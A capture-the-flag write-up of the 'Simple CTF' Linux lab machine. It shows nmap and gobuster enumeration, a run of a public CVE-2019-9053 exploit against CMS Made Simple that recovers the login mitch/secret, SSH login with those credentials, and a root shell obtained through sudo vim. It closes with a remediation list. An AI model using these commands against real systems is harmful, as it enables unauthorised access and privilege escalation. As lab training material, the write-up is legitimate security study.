# \[Linux] Simple CTF

## Enumeration

```
sudo nmap 10.10.56.128
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FbGlneagfnaW1PPYLLQU8%2Fimage.png?alt=media&#x26;token=f74b55d7-ca81-478a-824b-b1d5519ece99" alt=""><figcaption></figcaption></figure>

```
sudo nmap -A -p 21,80 10.10.56.128
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2F9M5ykv1FJ5xqNxBUdnJp%2Fimage.png?alt=media&#x26;token=181efb14-cb21-4134-9c72-b9f3b7c89581" alt=""><figcaption></figcaption></figure>

### HTTP

#### Robots.txt

First we look at the website. The [nmap ](https://kmanu225.gitbook.io/cs/cybersecurity/ctf/tools/network/enumeration/nmap)scan showed the presence of a robot.txt file. We should look at what is indide.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FvqiIB4Hb6wprV0TcdGSv%2Fimage.png?alt=media&#x26;token=517cc9e4-8244-467e-978c-c8ac4a8b435b" alt=""><figcaption></figcaption></figure>

We get these informations:

* web pages: `/openemr-5_0_1_3, /`
* name: mike

Both web pages cannot be accessed.

#### Directory listing

```bash
gobuster dir -u http://10.10.56.128 -w /usr/share/wordlists/dirb/common.txt 
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FeVxXAGgFKkzxzngY5JRg%2Fimage.png?alt=media&#x26;token=001aa979-a089-4257-92e1-ddd3d4ea4b54" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FUP713a2ONpiyQqf0eumM%2Fimage.png?alt=media&#x26;token=2862f052-0b91-4aab-8d26-f0f928ba00a2" alt=""><figcaption></figcaption></figure>

```bash
 gobuster dir -u http://10.10.56.128/simple -w /usr/share/wordlists/dirb/common.txt
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2Fx2MzjnXPpPY0FL74WEvA%2Fimage.png?alt=media&#x26;token=fd25798a-aeca-4e5d-9fc2-0ed039837604" alt=""><figcaption></figcaption></figure>

We see that the website is build on a CMS called `CMS Made Simple`.

### FTP

We can't find anythinf interesting on the ftp server. The server enter in a passive mode when we want to access list its ressources. We don't try anything further.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2F3ioLfz52JhQ5Tr9cXlrH%2Fimage.png?alt=media&#x26;token=b4f48258-7b86-4b31-95d0-820b0c4f7e97" alt=""><figcaption></figcaption></figure>

## Exploitation

CMS made simple is vulnrable to CVE-2019-9053. We use the following exploit to abuse the service: [CVE-2019-9053](https://github.com/e-renna/CVE-2019-9053).

```bash
python3 exploit.py -u http://10.10.56.128/simple/ -c -w /usr/share/dirb/wordlists/others/best110.txt
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FA1zIVV1RguIqg12ND72d%2Fimage.png?alt=media&#x26;token=1f3d961f-c1ff-47d7-8d59-d5ff2e19d2e2" alt=""><figcaption></figcaption></figure>

We got:

* a username: mitch
* an email: <admin@admin.com>
* a password: secret

We get access to the admin administration page on the website.

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2Fgk7REPjt2R7ft5kUN6wv%2Fimage.png?alt=media&#x26;token=f754679f-364b-43f5-98fb-30f92b175659" alt=""><figcaption></figcaption></figure>

### SSH

We stayed at this stage until we did another enumeration phase on the remaing port (2222). Bingo! an SSH service runs at this port:

```bash
sudo nmap -A -p 2222 10.10.56.128
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FbWGTCLS8GHX7DdUOzS56%2Fimage.png?alt=media&#x26;token=bc12a23a-1c75-420d-9539-0875a4cc51dc" alt=""><figcaption></figcaption></figure>

We can try the credentials on the ssh service.

```bash
ssh -p 2222 mitch@10.10.56.128
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2F6ia2MjX0OvWBucu82i4R%2Fimage.png?alt=media&#x26;token=edc485e6-54cf-4a21-ab28-b58b09d6059f" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

```bash
sudo -l 
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FMSpVWakUHuzznD6AlhRE%2Fimage.png?alt=media&#x26;token=5f2614cc-ee87-4388-94c2-ae999f3a263d" alt=""><figcaption></figcaption></figure>

We can explore [GTFOBins](https://gtfobins.github.io/) to see how we can elevate our privilege on the system as we are allowed to run vim command as root.

```bash
sudo vim ~/user.txt

ESCHAP
:!/bin/bash
```

<figure><img src="https://3366121826-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fdo9UTLEVhvOrL0zBVbm6%2Fuploads%2FMDSeHyfL8lcvF7Gg45vJ%2Fimage.png?alt=media&#x26;token=2d485ab9-f314-4b7e-b090-13762b6df03a" alt=""><figcaption></figcaption></figure>

## Remediation

* [ ] Don't use vulnerable CMS: make application update.
* [ ] Don't reuse password.
* [ ] Use strong password.
* [ ] Deactivate password based authentication on [SSH](#ssh).
* [ ] Sudo right should be checked carefully.
